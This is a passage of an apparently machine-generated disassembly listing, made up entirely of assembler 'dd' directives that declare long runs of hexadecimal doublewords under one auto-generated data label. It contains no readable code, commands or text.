6A15D184h, 38D7767h, 2A895A2Dh dd 0E6D810A8h, 0A60EB319h, 6052AB6Eh, 2B8E76BFh, 471E0030h dd 14719E41h, 560319A5h, 3DA9C94h, 4915A845h, 0A4480079h dd 18145A4Fh, 271C6B40h, 51EEECB5h, 558AC900h, 3ABBFD4h dd 295F57E9h, 200F558h, 0EA9940B9h, 0BB47ADh, 0DBF1895h dd 76F9D629h, 11CF8400h, 92A1C71Dh, 44D20FF8h, 8E5CC316h dd 0B4207C13h, 849D6494h, 0FA809300h, 33CD7152h, 0BE5703Dh dd 724A7837h, 62CBC4A7h, 0B8800A9Ch, 6E0FF260h, 391B5F16h dd 64F74000h, 4D5644D3h, 6A010830h, 50349281h, 787C702Eh dd 2D49B016h, 8DF7D600h, 11AFEF2h, 10C77223h, 726BF03Eh dd 439E01F0h, 8483AA7Bh, 1410F9D4h, 1068F041h, 92890812h dd 0BC012E10h, 571BF27h, 500805D0h, 30F0105Dh, 9A391AFCh dd 10EA5B74h, 68016B74h, 362EC886h, 0B660582Fh, 0AFAB0E9Ch dd 1D601A0Bh, 5BC609BEh, 0B8FA380Fh, 0DF576042h, 0C239F8h dd 7B668488h, 642CC563h, 9E4AB81Eh, 10F0A5BDh, 603CE754h dd 52238843h, 0DE3002C7h, 0A43D29A6h, 0EC1B257Ah, 59ACF422h dd 2503A852h, 9D53C76Ah, 20DCA06Bh, 702700BAh, 7214A4DBh dd 2602E2ADh, 9C6B57DAh, 785171h, 15020F1Ah, 0B11DF82Dh dd 0A80051E2h, 0CE411374h, 461C48C9h, 35E86B03h, 5CA8C36Eh dd 8A4C9D02h, 77CF1DD9h, 0DADE803Bh, 0F185A8D3h, 757900C9h dd 9EA3613h, 0D2052D4Dh, 21EB6CE7h, 839A8100h, 0B79879h dd 3D857E0Ah, 27ADC677h, 0A40D9707h, 0D882EBF3h, 35E5CB4h dd 0DD0BB962h, 0EABEEEB8h, 800785EAh, 9BD3FE55h, 0BDB63840h dd 65B80023h, 8220C70Eh, 0A4009A5Dh, 5AA460Dh, 15AEC624h dd 98A167F0h, 66348002h, 305822DCh, 8C93AE2h, 0EFE46074h dd 4466003Bh, 1A8C2C65h, 7F28AC3Eh, 42ABC4Eh, 400ED824h dd 82435850h, 0A029266Dh, 0DB9D9ECCh, 4078D8A7h, 138116F0h dd 67D219Dh, 1126C6B1h, 60D6B300h, 8454A43Ah, 0DBAC1D7Bh dd 21AF1883h, 61012EE6h, 29311512h, 0A3E4EDC1h, 1992C143h dd 0DD241076h, 0E26180ADh, 0D97B6B61h, 5F72053Ch, 17DAFC0h dd 0A5C450F8h, 0FFBC7090h, 2D1E7B2Ch, 0CE9E4C05h, 0F4129001h dd 0B8A0A952h, 0CAFE00B6h, 623958AAh, 963D7848h, 0B7F979Ah dd 0BEF000AAh, 20ECA894h, 0FF00B7E6h, 702ED231h, 0FCF1D65h dd 35A7B2F9h, 9216F5C0h, 3CEE3A0Fh, 8C632800h, 5009CD85h dd 0E04E00FCh, 1F0CFA6Eh, 933B9F66h, 0DFEA80C9h, 63AF4827h dd 1321004Eh, 0BB38B005h, 8BEE3387h, 0B69F4C00h, 0EC3E66FEh dd 650F1EA1h, 412AC7EFh, 9662D044h, 0CB00A348h, 2656EDF3h dd 0C74045h, 0B2061D5Dh, 280BF788h, 0B50DB000h, 0E64C2217h dd 0EA813FD7h, 7FD8FC80h, 5609AA14h, 9728487Fh, 3000DB37h dd 59872411h, 0A7C08Eh, 1C53985Eh, 6049B74Dh, 0DFA63601h dd 0FE3E21B9h, 4E289D4h, 57CB9A0Ah, 678C0B2h, 8500911Fh dd 9055FE2Fh, 1E313602h, 96C747h, 97E86FE6h, 0A7029916h dd 2841E7D7h, 2283C0F2h, 936B00C1h, 30CD6E4Fh, 0FC0171CAh dd 2F1C7399h, 0CA80D9C6h, 6A7BFD8h, 2B000AD7h, 0F802890Dh dd 5D15E8h, 0B1E5AAA0h, 9FC48424h, 0B2CC5002h, 5FC7873Dh dd 7502C080h, 1F0CBD69h, 5AEF924Ah, 0A5E500B7h, 8350565h dd 0D91F37CEh, 0D440EAF0h, 18505117h, 0EC5D0A74h, 3FC54BF9h dd 10B70667h, 3396BEA5h, 890B7575h, 43F473h, 0A6AC2108h dd 0C33900AFh, 6CF007EAh, 1A00E966h, 109BB75Dh, 2475F6E7h dd 3813DBABh, 81D1C380h, 0B9BF9135h, 0DAEDB601h, 886B3CEAh dd 574B5880h, 0B0119399h, 816E4D3Ah, 0EF97655Ah, 82D4EEBFh dd 0BD490352h, 98012619h, 4B134000h, 18EC0370h, 775D0FF8h dd 520F5B9h, 0FD7DE9EFh, 1471700h, 0CDB645B0h, 0A7E0006Ch dd 51CFD31Eh, 9B7FBB35h, 0C727A100h, 0E09D250Fh, 0AF74F6h dd 0E3A89711h, 455CF480h, 0C346EF00h, 9E8413E6h, 0C2A503DAh dd 0A1636212h, 44EFB390h, 7C1C8E70h, 0D1809F80h, 0FB1CCC9Eh dd 22330264h, 0F4838A11h, 75B4B881h, 4E12DCCBh, 0FE153E00h dd 0FA2CD3BBh, 2D1800C0h, 0C854F896h, 5500EBF7h, 89B533BCh dd 7B2510h, 2F35236Eh, 98533731h, 3B02E700h, 0DA8B47Ah dd 0BEF43876h, 8B3DF200h, 9C2B01EEh, 0ED00BA7Fh, 0C4E03F11h dd 73346415h, 0ECBB00AEh, 0C353CB54h, 7146E4Eh, 0AC96DFh dd 0E4019734h, 0DCB5A6h, 0CBA23A29h, 4AF647Dh, 2B33CA00h dd 0B7D9B316h, 22530F1Ch, 0DA20C9A0h, 883752B6h, 0B895FA12h dd 0AAA10400h, 720F20Ah, 5118550Eh, 0BA3F8005h, 31000DADh dd 3B6E7E48h, 0F2132Eh, 902FCC7Ah, 57A837E7h, 450020FAh dd 3222FF7Fh, 0DE169Eh, 1AAFC93Ah, 8FCF7C0Bh, 9814BE74h dd 2F8A12Ch, 290C4B51h, 38A44073h, 0C5F90021h, 8CC17B5Fh dd 0B8C40D8Eh, 5490EC9Ah, 30853667h, 2330F94Bh, 2F0F3974h dd 0A0B09CE8h, 0D83D789h, 0F3040072h, 0ED3319B9h, 0B05A30Fh dd 7130393Ch, 0E2215D80h, 0A1D81259h, 0D4684086h, 0DE1D6F9Eh dd 0AE5BC500h, 0FF5897E3h, 0D8EB13E8h, 8A442889h, 4F8E03Ah dd 0F10A611Ah, 145F8283h, 9C561698h, 1BA2CD00h, 2CE7E675h dd 0B03F4601h, 0C5B17258h, 5B61A440h, 35E0A0B7h, 433E05E8h dd 0F3554Dh, 16D3BED0h, 0F714C74h, 0F0109D24h, 0BFA5D103h dd 87F2D8EBh, 0CE42036Dh, 0EF753DCCh, 24284F91h, 2E00BCD4h dd 248D7199h, 0E8DDAE85h, 0A681F60h, 9B8404Eh, 0B32631FBh dd 9A481F00h, 0B101CE7h, 574958E9h, 0C919800h, 53756305h dd 0A0901750h, 791D0B00h, 0D37D6C56h, 3EF500C9h, 0B7A465FAh dd 551D6492h, 1C04054h, 0CD0AC62h, 0CBBA00D4h, 3C181E61h dd 0E40B4915h, 8095DDD8h, 0A80CF04Dh, 9633000Ah, 99AE46A0h dd 3700AAF7h, 0ADA4CE5Fh, 4E8126h, 4D77BDD7h, 4FA97D7Ah dd 0D8483Ch, 4A013260h, 0AA3D4h, 3D2A8269h, 6297CBA1h dd 80C89A39h, 68811602h, 31F175h, 0A7C1DFD1h, 4576D359h dd 6A219900h, 0EED8DCC2h, 0BE55008Eh, 8D231777h, 0D9040C41h dd 0C01E97DFh, 0BF873C80h, 0B55C311Ch, 6B4FD432h, 7AEADF00h dd 3D5B13F9h, 0A83E586h, 0E68ADA25h, 8DD167A8h, 0C7680700h dd 0C5C4F7D7h, 42C20045h, 86E68770h, 844C9998h, 15AD0016h dd 0B15C88A0h, 4DFA0293h, 0D4F56392h, 8C9BA440h, 2DBF7D02h dd 68E7D82Ch, 18183AF8h, 0F8316CCEh, 50007CDBh, 0F83D0E6Ah dd 965FDFh, 8075AC11h, 0EC4934D9h, 0DE526501h, 0CB7BF472h dd 28E3330h, 7EFD75B5h, 5C439C18h, 80D7BD82h, 8B4D5E20h dd 4463011Bh, 96DDA06Ah, 8D41815Dh, 8E9B6EF6h, 8C401C35h dd 2650C81Ch, 6FE31Bh, 0A91978B7h, 0F2735AEFh, 0B0831100h dd 5152DF46h, 53790D2h, 0A09B480h, 8A800A1h, 14469207h dd 0D7CADD00h, 0F390F798h, 0D3790E44h, 0A740A69Fh, 0DDF5EE42h dd 0FB207001h, 0E8640E60h, 0F4252420h, 75721245h, 30140D02h dd 28502260h, 0C90D6E6h dd 423DF705h, 0B4008E62h, 31A9BC0Bh, 61BB0044h, 3DD635B8h dd 3F01DEA6h, 0FE68D414h, 92C1D7DCh, 0BCA73080h, 868A9625h dd 0F9C5DF3Eh, 0F3E83F00h, 0CC3B5B21h, 0AD7B8Dh, 3C472D03h dd 51DF1AC2h, 0A297D403h, 0E8A5F8F0h, 0C10684h, 0C4E21B7Bh dd 8528B766h, 3B5CCB00h, 95EDC5C0h, 0F1C204E7h, 83B2EC7Dh dd 0C8B8031Ah, 2824600Ah, 0A2044847h, 38D09E11h, 2FFA35h dd 63CD3F06h, 29DEBD67h, 800F075h, 0B4334A2Eh, 0CCA1B6Ah dd 52A4D377h, 8F7924CEh, 0FFE57B00h, 2AE24F3Ch, 0CC9B0B11h dd 0E080224Bh, 88A932A4h, 0B07E9C00h, 0B8F2914h, 0F15850D4h dd 18B60350h, 0FDF4A53Bh, 0CC6BF0A0h, 80C6723Fh, 0E1FDF38h dd 0AC062Ah, 0B6234666h, 6AABC0EFh, 0BD34E302h, 609E0B41h dd 4E77470h, 0F644DACDh, 0C484C45Eh, 0C398806Fh, 29002E63h dd 41A558BEh, 24195CBCh, 8BB8AD94h, 260780DEh, 0E30CF0DFh dd 6570997Dh, 68765Ch, 0CD90A84Ah, 5806C345h, 0C7012477h dd 0E2C61361h, 69119017h, 315EE11h, 0B5B812F1h, 83FA90B9h dd 65103E6h, 2EA07810h, 0E51F3588h, 0BC687D00h, 38AD0DCEh dd 0BD56098Bh, 0D00FE1F1h, 61878F0Bh, 0C84C40B3h, 0F2E99740h dd 50EF38A0h, 87008E5Dh, 4438306Ch, 90B4A08Fh, 366503A8h dd 0BBE44C64h, 80F854D9h, 0E0DE5F48h, 80690E1Dh, 0AFE0E610h dd 2800089Ah, 467B0943h, 1486AF4h, 0F202A4A0h, 60CD9552h dd 0AA131077h, 0E023ADAh, 60F32746h, 24B1630h, 0F818C7Eh dd 0F540E2A9h, 0CB002A1Fh, 76FE39E4h, 264826EDh, 6EB8D9h dd 0DF96380Dh, 991EB69Ah, 4E808043h, 0FFFBBCE7h, 0F90B01BFh dd 8517C4DBh, 30C6E97Eh, 10E49A7Bh, 0BE052CF2h, 0B32A6896h dd 1F535D80h, 0E2B7006Eh, 0B5E5748Eh, 7D009AC3h, 4686B3BCh dd 0F6C059h, 7EAED6E1h, 0ABDAE25Ah, 0C585DD00h, 1A50CB90h dd 30930153h, 98BA17AAh, 70E2DC81h, 6A261900h, 3D5E9BB5h dd 97ACA8B6h, 0B3D000BDh, 696B1F38h, 8CCEF40h, 387921C4h dd 9700D0B5h, 0BC1CB99Ch, 0FA054B86h, 6B27BB29h, 0DA90BC40h dd 1DDEBFC5h, 0F9A22662h, 0CC1B4100h, 17835A38h, 0AEA1DD00h dd 494694DEh, 70BC0C47h, 3D410BC4h, 8A71B860h, 0FCFAD9CEh dd 60A804CBh, 90224513h, 0BAE31C14h, 9003F7Dh, 0ACA07EEAh dd 0BE6BDFh, 1592483Ah, 9B687F1Ah, 80B2C631h, 0C25D085h dd 31A247C4h, 3A20C442h, 35906BEh, 3B40C510h, 0EE08B31h dd 2DE5C60Ah, 0F59B0024h, 0F286F199h, 96702C69h, 722C0CFBh dd 0C801C5C9h, 0B85DD1B0h, 3084ADFCh, 6988F9h, 59295B8Eh dd 7A0C0057h, 4897AA3Ch, 0A238B6E7h, 0E4F00013h, 776CA64Ch dd 1C783Ah, 5A867D60h, 2590205Bh, 1B3E3D00h, 0D61617F7h dd 3087006Ch, 367BDBDEh, 2B077161h, 4E29D299h, 0A41FC340h dd 0CB640058h, 0E49BCE2h, 0A7E046E3h, 198C0B00h, 9B72506Fh dd 17130FDAh, 96D8F0h, 5F5EC1CCh, 7000BFAAh, 1AEAB0E5h dd 0E08B3346h, 81F80019h, 0B1AF0A57h, 7A01923Bh, 94D1BE5Ch dd 4180C828h, 0F1527D43h, 60030C23h, 0FC0B1161h, 9736C835h dd 67B50FB7h, 140E210h, 52D3C963h, 12290200h, 233692EBh dd 2B610365h, 0C193E8BFh, 71A96000h, 0C6963E9Eh, 6DE9003Bh dd 0E2C6501h, 4A01EC35h, 758C0497h, 7880F4BAh, 9889B816h dd 9B00D80Eh, 0B41560F7h, 3E9C7E7Ch, 0FF700C24h, 2FD71980h dd 0DEBB2B28h, 0FD8D121Fh, 0A79524C5h, 0CED6B200h, 26829730h dd 393BC413h, 3B924200h, 453AD81Eh, 54CD1400h, 7C4B462Eh dd 0D75D0083h, 0C618416Eh, 3000D955h, 211A68Fh, 34B5FEAh dd 0C790C0F4h, 0A8D8F9D2h, 61000506h, 0EC778749h, 73084F27h dd 0E9F35838h, 21B7FE07h, 0F174E0E8h, 270082B1h, 0FD03EC50h dd 2E370AEh, 5F8898FBh, 41F78FDDh, 56ED28A3h, 16FF50D0h dd 9243C3h, 8E5F1B38h, 673DC7Dh, 0B999B500h, 0B973FAAh dd 0F6F703A1h, 0C2E2E109h, 4F79EAF0h, 55F2B1Ch, 30360F7Dh dd 0DC97C0FDh, 2988ABh, 6DF93DB0h, 0A7E68B27h, 875BF400h dd 0CD5CEFDAh, 78DF00CAh, 45826EBDh, 3A00C406h, 719241EEh dd 7775E1Ch, 87E4AEDh, 78EC7C63h, 0AB98D912h, 89295307h dd 8E604E90h, 87501833h, 9DF84824h, 0A41A8A1Dh, 0D97F9480h dd 14D414Bh, 223E8B42h, 0E80D896Dh, 0E91496C6h, 7AD4C775h dd 0F2474Ch, 0E391B08Ch, 0DF3EEBh, 38ECD5AEh, 0C73A8477h dd 0C67F6C0Ch, 399B681Ch, 6F01556Dh, 0B50F1668h, 38488293h dd 0DDF3146Ah, 0DB860B60h, 7FD2C3EBh, 136723C0h, 3A484200h dd 6B5C233Fh, 6189059Eh, 809377A5h, 0E9D3F2E2h, 0FD918007h dd 0E3371070h, 78EE21F0h, 4E1F1951h, 0FC398064h, 80A18F63h dd 0D0F7EB0Ch, 0A4B793ABh, 0AF722800h, 46C54A6h, 2DF60033h dd 1FE6AA9Ah, 6005BCFh, 13A73D9Bh, 3CA26C4Ch, 5F0085E3h dd 0BB47AE3Ch, 4300A918h, 7795E779h, 450698h, 41379DBCh dd 2503D099h, 43481490h, 902E3048h, 7F79AE08h, 1D0700CAh dd 1B85DE66h, 0CE006DFBh, 6BBAC2FEh, 0E0CF99D2h, 7B570017h dd 9D9012A7h, 0C6003918h, 0F8C3E2BBh, 0C873ECh, 0AE31A0E5h dd 4F019571h, 7006A402h, 8276C9C0h, 20C294DCh, 340BB8A6h dd 0A5695800h, 56E304Eh, 477778Fh, 4ADDAE1Dh, 0FB46807Dh dd 1C0E7367h, 15AB7Ch, 0E289F442h, 0F6EC037Ah, 0E8CD74E5h dd 0E901C8B8h, 0BAD5A107h, 0EE63C528h, 0B04DE35Bh, 1CE18347h dd 181AD954h, 0B33546D3h, 75222700h, 0FCBFE9FFh, 72F0038Dh dd 7D580C06h, 0CB08B011h, 2D1A3700h, 3A2AC49Dh, 3E811000h dd 0D654F614h, 0C8E9009Bh, 0DF45ADAh, 49028573h, 627FC4E2h dd 7EC17D3Ch, 3040EE1Fh, 0E0FBAD59h, 3E128AFEh, 1F024F7Ah dd 606A4169h, 0E0AECC6h, 809ED11Ah, 81CC00FFh, 53F87E84h dd 34A00604h, 5886FDE4h, 0EE9C3C98h, 982FFC80h, 94DCE1A7h dd 0BD015007h, 81CB5778h, 0A942796Ch, 0AD3560h, 58985674h dd 0B57F482Fh, 67FDD300h, 938E717Ah, 0C00F004Ch, 9970ED11h dd 0FCE1C944h, 97012838h, 4EC34659h, 0B07BBB9Fh, 4FF8D64Ch dd 0D95D18C7h, 0CEDC7CC0h, 0BAF41C58h, 0F71E80D8h, 34F03F4Eh dd 0A20E88B8h, 20D636B9h, 5C9DEF8Ch, 6D520CB5h, 7A28F8A1h dd 551DD200h, 0C6919AF5h, 0D60C073h, 43958963h, 0D7106C1Dh dd 29A96706h, 2AC50718h, 20AF84F1h, 733F2471h, 0FDC138h dd 18583C8Fh, 0B7850DCh, 244235CBh, 944ADE81h, 3759601Ch dd 1473A812h, 614D6F00h, 5A3DBEh, 25803A87h, 1F631370h dd 9805F577h, 55DB8E47h, 8CC4AFC0h, 0C0B77FBAh, 0CB84C7A0h dd 92038E66h, 521665ACh, 8037C2C0h, 36B28CD0h, 0CAB1487Ah dd 2BEEF600h, 1567FF61h, 0CECA7F07h, 0DE50BC90h, 3F27C27h dd 218CF9AEh, 7EA87506h, 4300CA05h, 2DD7746Ah, 7F335C65h dd 0A0EA00B3h, 99EF5FFCh, 6A028C4Bh, 10F05321h, 0C8EFE3FBh dd 5C234CB5h, 987B06C1h, 5B11001Ch, 97144393h, 7600EA1Ah dd 0B57312CDh, 1EEC98D1h, 24AA0130h, 8AC38078h, 0A0491BBFh dd 58828726h, 540351Fh, 9733CB1Fh, 0FCC70484h, 0C1D372EBh dd 800B38DCh, 20EF2529h, 0F960271h, 9A39210h, 0C1ECC4A0h dd 9AEE530Bh, 0B905C000h, 0AE9E8952h, 88384828h, 88FB1502h dd 0A0A0C66Dh, 490D5FD8h, 3800D979h, 0B8B6098Fh, 0EE21DA4h dd 114E796Fh, 5566EBC0h, 0C90F2640h, 0C063D7ADh, 640EAC42h dd 52030988h, 1000AB94h dword_4E814C dd 253A976Ch, 8FEBE43Eh, 20588F78h, 0BBD363C9h, 0D1D03948h dd 350F89C8h, 9585A813h, 7CF401E5h, 60D4E994h, 1B4C16BCh dd 0CBC00059h, 915AE8C1h, 0D7770009h, 0CEC61F62h, 760E6D73h dd 8012A042h, 649AAED9h, 6D0B4CAFh, 83930075h, 427CA6A3h dd 0A900405Ah, 3B6FD87Bh, 44987FFh, 0FDEFC161h, 7814D007h dd 0F70073EBh, 20E67EE0h, 399C97h, 87DB2396h, 90D9AB3Dh dd 66D74700h, 0BF83EB24h, 758E052Fh, 0D03DCCFBh, 26A68C04h dd 80F33B3Fh, 2769F7Ch, 50AA85B1h, 132E831h, 70C8E65Ch dd 0EC88FA0Bh, 0EC007886h, 2FEAA4D9h, 0FCC95E4h, 0C21C7A9Dh dd 961E1BA0h, 0B4003687h, 97EA5B7Fh, 39794685h, 0E83FF86Fh dd 0FA614B00h, 81D2AE8Ah, 26B21A00h, 0F9764E63h, 725B076Ch dd 60C2915Fh, 62E7DBAFh, 0CB3CB002h, 6815C9FDh, 0B18A74h dd 36B3A1EAh, 28B7091Fh, 0E52BF700h, 33FFA323h, 64631D49h dd 7B6F80D7h, 0C65CF2E6h, 37E7F700h, 0E5DE1FD3h, 109101C1h dd 0D9B23CBFh, 12302062h, 19F6833Ch, 0AB1198C2h, 139ADF01h dd 0CC41C0A3h, 0AEA10090h, 38190A21h, 0FB00AB7Eh, 0F67B153Bh dd 133CE95h, 53FDF546h, 348E5613h, 6E24F1D0h, 0CF01A8A2h dd 5080F796h, 22002862h, 0FDA031EFh, 0C9022CE5h, 0F8173D1Bh dd 1348E896h, 1424A05Dh, 0DEF6185Bh, 1243A017h, 0D32C2214h dd 20A0C10h, 1E193997h, 0DE9C2D4Eh, 924001B0h, 710F98E3h dd 0F483D818h, 15D8E503h, 80321AACh, 17FBADDh, 89D49543h dd 0D0E32018h, 6D003D7Bh, 0DA44A5F4h, 0CA502Eh, 43CC7859h dd 739061EAh, 5B2CCB0Fh, 0B77A01FFh, 37D8933Bh, 8D323049h dd 0D59D2999h, 0BB11D901h, 730A16F6h, 21650898h, 0D500C554h dd 0DABF89E7h, 0E25FE7Ah, 0F2181FFBh, 43771D80h, 7E0EEB1Bh dd 0A093CC51h, 7AF526D0h, 407D1DBBh, 0B70F808Bh, 7901A94h dd 21CEC4Ch, 3AC68AB9h, 1B20481Dh, 30F80023h, 9653BDEFh dd 54744E98h, 0DD211E60h, 4A1F81Ah, 8FCF74D3h, 825181A7h dd 0EB6440EFh, 170672FDh, 81E4EA18h, 13D90898h, 4930601Eh dd 60DB323Bh, 6D9121A8h, 48258F7h, 0AB60478Ch, 1123DBD5h dd 15E11EBh, 0A1D5934Eh, 83C03D89h, 0D8E0D998h, 42218C7h dd 55EF43F8h, 80F83754h, 25F959D8h, 0D017BD9Eh, 0F41CA023h dd 282CDB0Ah, 207F6032h, 2730C9EEh, 4DCA2400h, 31407E78h dd 912C0032h, 0C729CDD7h, 0E500C445h, 98E94424h, 0C1059h dd 0EA777F5h, 1101CF7Eh, 0A431B100h, 4D9B49Ah, 9FA91E75h dd 1E9518BEh, 960007C2h, 26373217h, 1DEEFB05h, 802A3C1Eh dd 61311073h, 0F6037122h, 5969B9E9h, 0AFAEA799h, 97F8A045h dd 94CF58h, 5AA8F230h, 15078E7Ch, 0FDF9AB07h, 3CE0F049h dd 2EBEA51Ch, 0CCDB71h, 9D0F5BCh, 0B0036658h, 5DFB8776h dd 0FDA2D040h, 6B4A00C2h, 4E0374F3h, 68013CD2h, 11F076F9h dd 0CFF8AE95h, 8E510060h, 21E089C8h, 920187F4h, 69E76C41h dd 0E9C01F67h, 90D47132h, 33B4001Ch, 42A0F223h, 8D001664h dd 5E368624h, 1C8ABFAh, 0F1E5EB8Ah, 0F49C7DF4h, 3500AC22h dd 7961AFE1h, 75E2A8Dh, 0C1D67C2Eh, 3FE4E0A3h, 5424E04Ah dd 990E029Ch, 0FAFE8002h, 14C1F38h, 0AB4F2B5Eh, 8080A03Bh dd 8B980DE0h, 71155F5Ch, 733E1ED1h, 6204C056h, 392217F8h dd 16249F00h, 0CC05EEAFh, 9BD10667h, 50536E98h, 0E28B4E0Bh dd 9F9B8068h, 0EB6261h, 40AF1792h, 12674EDh, 949B6900h dd 0F160A92Bh, 81B70072h, 0CFA1B8D4h, 7505F938h, 419E07F5h dd 0F42BCEC1h, 106C0E8h, 0BCCB377Dh, 46F88064h, 1E00A0DDh dd 75D5CD9Bh, 4DB7922h, 661B10Bh, 0FBCD8025h, 2B1E5B94h dd 0BFA3D23h, 0D6EA28DDh, 1801F64h, 7073389Fh, 86C180D4h dd 43FA283Eh, 6020195Bh, 30E71937h, 0A500F0E1h, 0BF2DFE9Fh dd 0E369274h, 0E07912BAh, 5EB3D141h, 4F06EC0Ch, 485A760Bh dd 0A5638086h, 0E22070h, 0BBEAD19Dh, 42D37CAAh, 0BC3C01Eh dd 1A3D7078h, 9BFEBD76h, 0B8D81F49h, 3053612Ah, 171018B2h dd 0CF140E40h, 0A8933Fh, 8DCDED3Ch, 17D1948h, 6D4E4BFFh dd 0F44D061Dh, 0BA3DEFC6h, 829900C7h, 0D5511652h, 38F63FFDh dd 963BA380h, 0D311F8AAh, 0A464C200h, 0D2C159EBh, 0C31003Fh dd 8886B2FCh, 0B4390FA7h, 0E2A8E1AFh, 0E842EDFEh, 4DA480F5h dd 0A17D0903h, 60E0BCD4h, 16983BB0h, 8FB4C70Eh, 58E40DA0h dd 18004FBBh, 0EA9B86FAh, 0CBCA51h, 887FD1B6h, 0AE1C8DD6h dd 0F12D3F4h, 14037192h, 0F4FDB2A8h, 6602BC91h, 9D6ADCh dd 2437E1F7h, 27C46092h, 91DBC102h, 610CB761h, 0B6F0AF10h dd 159403E9h, 0E7ADD4E1h, 70D8CC9Bh, 40F0B73Ch, 25B07E60h dd 3E31D086h, 0E99E7692h, 944BC06Eh, 0BA2FF5CBh, 27752000h dd 0DCF9513Bh, 0A14F3A25h, 2A4139Fh, 0DA919E67h, 2095CC87h dd 354CFF0Ch, 0CFDC5106h, 0F66D57Eh, 0B483F106h, 0D9440452h dd 0E6C5435Dh, 1C59D80Dh, 18E16079h, 0F6F8B2AAh, 7E58E703h dd 0E8C9A744h, 1DED1F89h, 804F1A43h, 0FC2725E2h, 0B9506154h dd 0E500A8ABh, 23DDB7ACh, 0E42E22h, 483DF225h, 1B5F990Bh dd 8E63B2C0h, 77BF17h, 0E0758F0Dh, 0DC094164h, 6B5D2100h dd 8C6E2B05h, 0A2320FEFh, 0F0806A75h, 0B7D47F59h, 202ED371h dd 0FD006512h, 0C3392657h, 0EBD10E8Ch, 8BA035F4h, 440EBC0Dh dd 0A56B2202h, 48C5C9BDh, 1675F4FCh, 7E7FC4h, 8F8A4FC9h dd 0B7509C87h, 0AC00D1ECh, 75FF588Eh, 0E20DFF1h, 0ED9A2CC8h dd 4C622327h, 950909E8h, 0B0C70AADh, 0E9D36A8h, 0DECE9635h dd 0FEBC1DA3h, 5F3B9012h, 0C1EE0400h, 37703Eh, 0E0BE5669h dd 0DDAD7B5Ah, 75171D0Ah, 3E00BCF7h, 8D9790B6h, 0E8E250A6h dd 0D6330CD5h, 211198F3h, 0CF03DBB8h, 5D232820h, 3D191777h dd 9E3006Fh, 6A8DB3DEh, 4938D37Ch, 54FA8941h, 4A482088h dd 0C0139C5Eh, 9E03ED52h, 0C28EF66h, 7000ECE4h, 0F4CF746h dd 0E503E9Ch, 710BA106h, 0DD0A0CC0h, 727E54B3h, 0DA013D76h dd 0B786C1AEh, 3080F8E5h, 374819F1h, 6E07C25Ah, 79AB3B1Dh dd 7CE07260h, 0CD8B00B7h, 50292D17h, 0E10A3A62h, 0F04632ECh dd 8DBD9700h, 0A51877h, 57BF091Dh, 510D4EC4h, 824D8900h dd 0ED2922AAh, 7F6300F3h, 3340F66Dh, 0D5004C17h, 203449F9h dd 3B28D8CBh, 1038FF36h, 0C5F40E00h, 0B60387BAh, 32D3D900h dd 0FF2EA144h, 930C0E68h, 59009F26h, 7A3EC892h, 80A33D3Ch dd 1999D1E4h, 0C5272Bh, 56F7938Eh, 0A57362FCh, 75593900h dd 9A842E94h, 127E0027h, 0D07F1FADh, 5158B869h, 0FF3D005Ah dd 0B71DF054h, 40EF64D7h, 9807C0DBh, 86000313h, 4B4070Ah dd 2E379Eh, 1D74FA44h, 286A1005h, 0AFE2B00h, 1E075C9Dh dd 0D69F03BAh, 0A65D6BBEh, 5E2B1FA8h, 3D07EFFAh, 83BF65DEh dd 31362330h, 686200CCh, 0F403BCE0h, 8901FFA1h, 4E5B1520h dd 4824616Bh, 260C00B1h, 0D7E1CD8Ch, 340C5E12h, 11A3F1B2h dd 0A96B0093h, 66CD583Fh, 0E50A9E62h, 8DD331CFh, 0ED0F3D04h dd 0E13295C0h, 2B410008h, 0A0283BD2h, 0F200A7F3h, 0F7D0DA95h dd 3AE27C7h, 1848BE69h, 0B6F97583h, 0EBC464EAh, 317ED514h dd 0C2B000BBh, 9A8F67CAh, 2CB059h, 0A63EEA40h, 0D516A747h dd 38EECB31h, 3090BF32h, 0F4B23822h, 9700DDECh, 0B65ED58Fh dd 0C087C47h, 0EC6B6335h, 0E2501628h, 89071B20h, 2A31433Ah dd 48DA9A87h, 3E831Eh dd 188BCD45h, 160CA3Bh, 7FEA8A94h, 48362A53h, 0D400E024h dd 6AF61F3Eh, 7C2ABDFh, 4F5DBB89h, 6153A07Ah, 0DE00FB09h dd 166D9044h, 8747B2h, 3BC3EDF7h, 95713C68h, 4EAECA00h dd 9E206B1Bh, 3FDDB830h, 0F3A2A8h, 8E917F45h, 40321110h dd 0CE41C3A0h, 8A8B5902h, 604ADA93h, 0D03A64h, 9C9EDB51h dd 23485435h, 0EAE98F00h, 349D632Bh, 0B97C606Eh, 6DBB9E35h dd 9519BC00h, 90C92CCCh, 1E52795Eh, 7BB879A6h, 148051BCh dd 2F6CEFC3h, 923F044Bh, 0FE76807Ch, 19183E37h, 0ABB30244h dd 46580567h, 59F8FA60h, 4C4CD5Dh, 0D33C9482h, 6DD42890h dd 87920046h, 1A29EAA4h, 58185977h, 0A220E23Ah, 0E7A81EB7h dd 603DD290h, 9336DE90h, 4E743C06h, 73165CDh, 0A5FDC6CFh dd 0DB135077h, 4109B7EEh, 0A195889Eh, 445163E8h, 0A2D4B065h dd 0A6DF00ACh, 5D20C6EEh, 9126648Fh, 0E200BCDDh, 8890336Ah dd 0C67530B1h, 0A07EDB41h, 0C3EA5400h, 0F460B66Bh, 43F558C0h dd 897D4200h, 4EAD696Ch, 88FB9600h, 9DAB6F2Dh, 0C6820002h dd 5D42E19Ch, 8307628Ah, 912F1CA5h, 0E3B34EA0h, 2F2858ECh dd 6FBE9700h, 2FC12D6h, 51F3BF00h, 6E5CC46Ah, 0B85758C7h dd 4A673400h, 8A018883h, 660545F6h, 0AEC3A638h, 0FDE4E81Dh dd 5C053C16h, 880BD2Eh, 50E88B48h, 0E408A006h, 60C00E70h dd 334062F2h, 0A5ACBF01h, 52B7CF00h, 90CEC3Ah, 8F650549h dd 0C202132Eh, 14627BB0h, 2866B0C0h, 3538F51Dh, 0FC0170E4h dd 0DC8F773Fh, 0E6E930h, 2B6E0BDh, 0FEE32A64h, 185CD0C0h dd 757F9DEh, 0BD9CF076h, 3101F0C7h, 0B40F6061h, 0A0EB6491h dd 0EF90655Eh, 0BEE50055h, 0DE270E97h, 0A83C4B81h, 43E1FF1h dd 30896312h, 6C13F8h, 0D92BF6BAh, 244998E1h, 91D1C800h dd 797B7EAFh, 0F7BB00DEh, 0F0269552h, 3D015647h, 66533655h dd 0F0401378h, 0F4CEB045h, 0A6DD1EEBh, 311080DEh, 3255DA56h dd 0F77235Ch, 402B5B8Eh, 0E7F9F4Eh, 58FE472h, 